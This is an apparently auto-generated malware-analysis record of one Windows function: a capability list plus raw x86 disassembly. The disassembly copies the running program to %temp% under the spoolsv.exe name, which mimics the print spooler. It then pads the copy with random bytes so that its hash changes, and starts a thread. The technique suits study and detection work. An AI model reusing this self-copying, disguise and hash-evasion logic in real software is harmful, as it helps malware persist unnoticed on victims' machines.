Function at 0x405ee5
Capabilities:
Create thread
Get file size
Query environment variable
Read file on windows
Write file on windows

Disassembly:
mov eax, 0x411a04
call fcn.00406ae4
sub esp, 0x228
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x12f]
mov byte [ebp - 0x130], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x233]
mov byte [ebp - 0x234], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.GetModuleFileNameA
push str.kernel32.dll
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x104
lea eax, [ebp - 0x234]
push esi
push eax
push str._temp__spoolsv.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x130]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x130]
push esi
push eax
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [ebp - 0x130]
push str.Temp_spoolsv.exe
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x234]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 0x10
test eax, eax
je 0x406109
cmp esi, ebx
jne 0x406109
lea eax, [ebp - 0x234]
push eax
push 0x41960c
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x130]
pop ecx
push ebx
push ebx
push 3
push ebx
push 1
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x406105
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0x14], esi
je 0x406105
push esi
call sub.MFC42.DLL_operatornew
mov edi, eax
push esi
push ebx
push edi
mov dword [ebp - 0x1c], edi
call sub.MSVCRT.dll_memset
add esp, 0x10
cmp edi, ebx
je 0x406105
lea eax, [ebp - 0x2c]
push ebx
push eax
push esi
push edi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov esi, dword [sym.imp.MSVCRT.dll_fopen]
lea eax, [ebp - 0x234]
push 0x416ac4
push eax
call esi
mov edi, dword [sym.imp.MSVCRT.dll_fwrite]
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 0x20], eax
je 0x406068
push eax
push 1
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x20]
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x234]
push 0x416ac0
push eax
call esi
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push ebx
push eax
mov dword [ebp - 0x10], eax
call esi
push ebx
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 0x1c
mov dword [ebp - 0x14], 0x64
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xff
push 2
idiv ecx
push ebx
push dword [ebp - 0x10]
mov dword [ebp - 0x24], edx
call esi
push dword [ebp - 0x10]
lea eax, [ebp - 0x24]
push 4
push 1
push eax
call edi
add esp, 0x1c
dec dword [ebp - 0x14]
jne 0x4060a6
push 2
push ebx
push dword [ebp - 0x10]
mov dword [ebp - 0x28], 0x194
call esi
push dword [ebp - 0x10]
lea eax, [ebp - 0x28]
push 4
push 1
push eax
call edi
push dword [ebp - 0x10]
call dword [sym.imp.MSVCRT.dll_fclose]
push dword [ebp - 0x1c]
call dword [sym.imp.MSVCRT.dll_free]
add esp, 0x24
xor al, al
jmp 0x406157
call fcn.0040400d
lea ecx, [ebp - 0x18]
mov esi, eax
call fcn.00406aa8
push esi
lea eax, [ebp - 0x18]
push 0x416abc
push eax
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::Format
add esp, 0xc
push 1
pop eax
cmp esi, eax
jne 0x406149
push ebx
push ebx
push ebx
push 0x405e6a
push ebx
push ebx
mov dword [0x419604], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::CString
mov al, 1
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret